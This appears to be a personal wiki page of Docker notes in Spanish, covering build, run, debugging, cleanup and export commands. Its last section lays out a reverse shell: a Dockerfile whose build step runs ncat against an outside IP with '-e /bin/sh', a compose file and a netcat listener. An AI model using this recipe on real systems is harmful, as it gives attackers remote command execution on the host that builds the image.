====== docker ====== * [[https://docs.docker.com/install/]] * Debian: [[https://docs.docker.com/install/linux/docker-ce/debian/]] * [[https://docs.docker.com/install/linux/linux-postinstall/]] ''run'' sirve para instalar cosas, ''cmd'' es lo que se ejecuta cuando se hace ''docker run'' (no había otra manera más confusa de hacerlo???) [[https://stackoverflow.com/questions/37461868/difference-between-run-and-cmd-in-a-docker-file]] # Crear un Dockerfile $ docker build -t docker build --build-arg arg1="arg1" arg2=2 . $ docker image ls $ docker run -e key=value $ docker run -e env # env tendrá el valor que tiene $env en nuestro entorno $ docker ps En docker cada línea es una capa, y sólo actualiza una capa si detecta que ha cambiado. Esto hace que haya que tener en cuenta algunos comportamientos inesperados a la hora de editar un Dockerfile: [[https://docs.docker.com/develop/develop-images/dockerfile_best-practices/]] * [[https://docs.docker.com/network/host/]] Para correr docker en la misma red en la que estás ===== docker alpine con pandas ===== Docker alpine no tiene pandas en los repos así que hay que compilarlo al instalarlo * [[https://pythonspeed.com/articles/alpine-docker-python/]] * [[https://stackoverflow.com/questions/49037742/why-does-it-take-ages-to-install-pandas-on-alpine-linux]] Hay imágenes de docker que traen ya preinstalado pandas: * [[https://github.com/amancevice/docker-pandas]] ===== debugging ===== * ''%%docker run -it --entrypoint sh%%'' * [[https://medium.com/@betz.mark/ten-tips-for-debugging-docker-containers-cde4da841a1d]] * Copiar a local ''docker cp : '' -> sacar la id con ''docker ps'' * ''docker exec -it agitated_bell sh # docker ps -> NAMES, permite ejecutar una terminal incluso si tiene un entrypoint'' * ''docker ps -> docker inspect $CONTAINER_ID'' * Cuidado con el orden de los argumentos: ''%%docker run -it --network host -e "ENVIROMENT=TEST" --entrypoint bash my-docker-image%%'' ===== cleaning ===== //A running instance of an image is a container// * ''docker stop agitated_bell'' * ''docker ps -a # '' * ''docker rm '' * ''docker images'' * ''docker rmi # Eliminar los contenedores antes para que no de el error:'' Error response from daemon: conflict: unable to remove repository reference (must force) - container is using its referenced image ===== exportar/push ===== * ''docker push '' * ''docker export > .tar'' * ''docker export | gzip > .tar.gz'' ===== importar/pull ===== * ''docker pull '' * ''docker import .tar '' * ''zcat .tar.gz | docker import - '' ===== secret ===== echo "password" | docker secret create mysecurepassword - docker service create --name redis --secret mysecurepassword redis:alpine ===== Docker reverse shell ==== * https://raesene.github.io/blog/2019/08/09/docker-reverse-shells/ Dockerfile FROM ubuntu:18.04 RUN apt update && apt install -y nmap RUN ncat 10.140.73.163 8989 -e /bin/sh CMD ["/bin/bash"] docker-compose.yml version: '3.0' services: reverse_shell: build: . container_name: shell_container restart: always ports: - 8989:8989 networks: myNetwork: ipv4_address: 10.29.0.2 networks: myNetwork: driver: bridge ipam: config: - subnet: 10.29.0.0/24 * ''%%nc -l -p 8989%%'' para conectarse